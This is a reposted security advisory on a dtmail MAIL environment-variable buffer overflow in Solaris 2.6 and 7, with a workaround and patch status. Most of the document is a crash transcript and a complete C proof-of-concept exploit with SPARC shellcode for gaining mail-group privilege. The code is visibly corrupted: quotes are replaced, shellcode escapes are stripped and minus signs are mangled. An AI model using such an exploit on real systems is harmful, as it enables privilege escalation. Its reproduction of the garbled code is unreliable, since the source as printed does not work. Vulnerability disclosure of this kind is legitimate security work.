‘Solaris DTmail Buffer Overflow Vulnerability (MAIL Environment)’

Summary

‘The NSFOCUS Security Team has found a buffer overflow vulnerability in the dtmail of Solaris handling MAIL environment variable, whose exploitation allows an attacker to run arbitrary code with the privilege of mail group.’

Credit:

‘The information has been provided by Nsfocus Security Team.’


Details

Vulnerable systems:
 * Sun Solaris 2.6 (SPARC/x86)
 * Sun Solaris 7 (SPARC/x86)

Immune systems:
 * Sun Solaris 8

DTmail is a mail user agent (MUA) shipped as a part of Solaris CDE. It is installed setgid mail by default.

The vulnerability results because dtmail do not provide valid boundary check to certain environment variables, which allows an attacker to launch a buffer overflow attack.

In case that the MAIL environment variable is an over-length character string (for instance, longer than 1500 bytes), a stack buffer overflow would occur. The attacker could overwrite the returned address and run arbitrary code with mail group privilege.
Workaround:
Drop the sgid mail attribute of dtmail:
# chmod g-s /usr/dt/bin/dtmail

Vendor status:
2001.6.18 NSFocus have informed Sun of this issue.
2001.6.21 Sun replied that the overflow would occur even in case that the MAIL environment variable has only 1 byte.

Solaris 2.6 with the following patches is not affected:
SunOS 5.6 SPARC : 105338-27
SunOS 5.6 x86 : 105339-25

Solaris 7 with the following latest patches is still affected:
SunOS 5.7 SPARC : 107200-12
SunOS 5.7 x86 : 107201-12

Solaris 8 is not affected.

Security patches of Sun Inc. are available at:
http://sunsolve.sun.com/securitypatch

Exploit:
[test@ /tmp]> uname -a
SunOS sun27 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-5_10
[test@ /tmp]> showrev -p|grep 107200-12
Patch: 107200-12 Obsoletes: Requires: 108374-01, 107887-08 Incompatibles:
Packages: SUNWdtdst, SUNWdtma
[test@ /tmp]> ls -l /usr/dt/bin/dtmail
-r-xr-sr-x 1 bin mail 1553244 Jun 12 2001 /usr/dt/bin/dtmail*
[test@ /tmp]> cp /usr/dt/bin/dtmail .
[test@ /tmp]> export DISPLAY=127.0.0.1:0.0
[test@ /tmp]> MAIL=`perl -e ‘print ‘A’x2000’`; export MAIL
[test@ /tmp]> ulimit -c 200000
[test@ /tmp]> /usr/dt/bin/ttsession -s -c ./dtmail

[A dtmail dialog box would prompt out in your X window, click ‘Local’]

[test@ /tmp]> ls -l core
-rw——- 1 test users 1991892 Jun 22 11:47 core
[test@ /tmp]> dbx ./dtmail ./core

Reading dtmail
core file header read successfully
Reading ld.so.1
Reading libSDtMail.so.2
Reading libnsl.so.1
Reading libsocket.so.1
….
Reading libXext.so.0
Reading libc_psr.so.1
detected a multithreaded program
t@1 (l@1) terminated by signal BUS (invalid address alignment)
dbx: core file read error: address 0x41414161 not in data space
dbx: attempt to read stack failed – bad frame pointer
0x001013e4: solaris_valid+0x002c: ret
(/opt/SUNWspro/bin/../WS5.0/bin/sparcv9/dbx)

There is a proof of concept code for this issue, available here:
http://www.nsfocus.com/proof/sol_sparc_dtmail_MAIL_ex.c

A copy of it is attached below:
/*
 * sol_sparc_dtmail_MAIL_ex.c – Proof of Concept Code for dtmail $MAIL overflow bug.
 *
 * Copyright (c) 2001 – Nsfocus.com
 *
 * It will run ‘/bin/id’ if the exploit succeed.
 * Tested in Solaris 2.6/7 (SPARC).
 *
 * DISCLAIMS:
 * This is a proof of concept code. This code is for test purpose
 * only and should not be run against any host without permission from
 * the system administrator.
 *
 * NSFOCUS Security Team <security@nsfocus.com>
 * http://www.nsfocus.com
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <sys/systeminfo.h>
#include <pwd.h>

struct passwd *pwd;;

#define SP 0xffbefffc /* default bottom stack address (Solaris 7/8) */

#define DISPENV ‘DISPLAY=127.0.0.1:0.0’

#define VULPROG ‘/usr/dt/bin/dtmail’
#define NOP 0xaa1d4015 /* ‘xor %l5, %l5, %l5’ */

char shellcode[] =
‘x90x08x3fxffx90x02x20x06x82x10x20x88x91xd0x20x08’
‘x90x08x3fxffx90x02x20x06x82x10x20x2ex91xd0x20x08’
‘x2dx0bxd8x9axacx15xa1x6ex2fx0bxdax59x90x0bx80x0e’
‘x92x03xa0x0cx94x1ax80x0ax9cx03xa0x14xecx3bxbfxec’
‘xc0x23xbfxf4xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3b’
‘x91xd0x20x08x90x1bxc0x0fx82x10x20x01x91xd0x20x08’;

/* get current stack point address */
long
get_sp(void)
{
        __asm__(‘mov %sp,%i0’);
}

long
get_shelladdr(long sp_addr, char **arg, char **env, long off)
{
        long retaddr;
        int i;
        char plat[256];
        char pad = 0, pad1 = 0, pad2;
        int env_len, arg_len, len;

        while (1) {
                /* calculate the length of ‘VULPROG’ + argv[] */
                for (i = 0, arg_len = 0; arg[i] != NULL; i++) {
                        arg_len += strlen(arg[i]) + 1;
                 }

                /* calculate the pad nummber . */
                pad = 3 – arg_len % 4;

                memset(env[0], ‘A’, pad);
                env[0][pad] = ‘’;

                memset(env[2], ‘A’, pad1);
                env[2][pad1] = ‘’;

                /* get environ length */
                for (i = 0, env_len = 0; env[i] != NULL; i++) {
                        env_len += strlen(env[i]) + 1;
                 }

                /* get platform info */
                sysinfo(SI_PLATFORM, plat, 256);

                len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1;

                pad2 = 4 – len % 4;

                /* get the exact shellcode address */
                retaddr = sp_addr – pad2 /* the trailing zero number */
                        – strlen(VULPROG) – 1
                        – strlen(plat) – 1;

                for (i–; i > 0; i–)
                        retaddr -= strlen(env[i]) + 1;

                if (!((retaddr + off) & 0xff)) {
                        pad1 += 8;
                        continue;
                } else if ((retaddr + off) % 8) {
                        pad1 += 4;
                        continue;
                } else
                        break;
        }
        return retaddr;

} /* End of get_shelladdr */

int
main(int argc, char **argv)
{
        char buf[4096], home[128], display[256];
        char eggbuf[2048];
        long retaddr, sp_addr = SP;
        char *arg[24], *env[24], *cwd, *charptr;
        char padding[64], padding1[64];
        unsigned int *ptr;
        char *disp;
        char ev1[] = ‘MAIL=’;
        long ev1_len, i, align;
        long overbuflen = 2048;

        if (argc > 1)
                snprintf(display, sizeof(display) – 1, ‘DISPLAY=%s’, argv[1]);
        else {
                disp = getenv(‘DISPLAY’);
                if (disp)
                        snprintf(display, sizeof(display) – 1, ‘DISPLAY=%s’, disp);
                else
                        strncpy(display, DISPENV, sizeof(display) – 1);
        }

        pwd = getpwuid((uid_t) getuid());
        snprintf(home, 127, ‘HOME=%s’, strdup(pwd->pw_dir));

        arg[0] = VULPROG;
        arg[1] = NULL;

        cwd = getcwd((char *) NULL, 256);
        overbuflen = overbuflen – (strlen(cwd) + strlen(‘/’));
        ev1_len = strlen(ev1);
        bzero(buf, sizeof(buf));
        memcpy(buf, ev1, ev1_len);
        memset(buf + ev1_len, ‘A’, overbuflen);

        bzero(eggbuf, sizeof(eggbuf));
        ptr = (unsigned int *) eggbuf;
        for (i = 0; i < sizeof(eggbuf) – strlen(shellcode); i += 4)
                *(ptr + i / 4) = NOP;
        memcpy(eggbuf + i – 4, shellcode, strlen(shellcode));

        env[0] = padding; /* put padding buffer in env */
        env[1] = eggbuf; /* put shellcode in env */
        env[2] = padding1; /* put padding1 buffer in env */
        env[3] = buf; /* put overflow environ */
        env[4] = display; /* put display environ */
        env[5] = home; /* put home environ */
        env[6] = NULL; /* end of env */

        /* get stack bottom address */
        if (((unsigned char) (get_sp() >> 24)) == 0xef) { /* Solaris 2.6 */
                sp_addr = SP – 0x0fbf0000;
        }
        retaddr = get_shelladdr(sp_addr, arg, env, -8);

        retaddr -= 8;
        printf(‘Using return address = 0x%x (shelladdrr – 8)n’, retaddr);
        printf(‘Click Local in your X windownn’);

        charptr = (char *) &retaddr;
        align = 4 – ((strlen(cwd) + strlen(‘/’)) % 4);
        for (i = 0; i < overbuflen – align; i++)
                buf[ev1_len + align + i] = *(charptr + i % 4);

        execve(VULPROG, arg, env);
        perror(‘execle’);
}
/* End of main */’

Categories: Exploits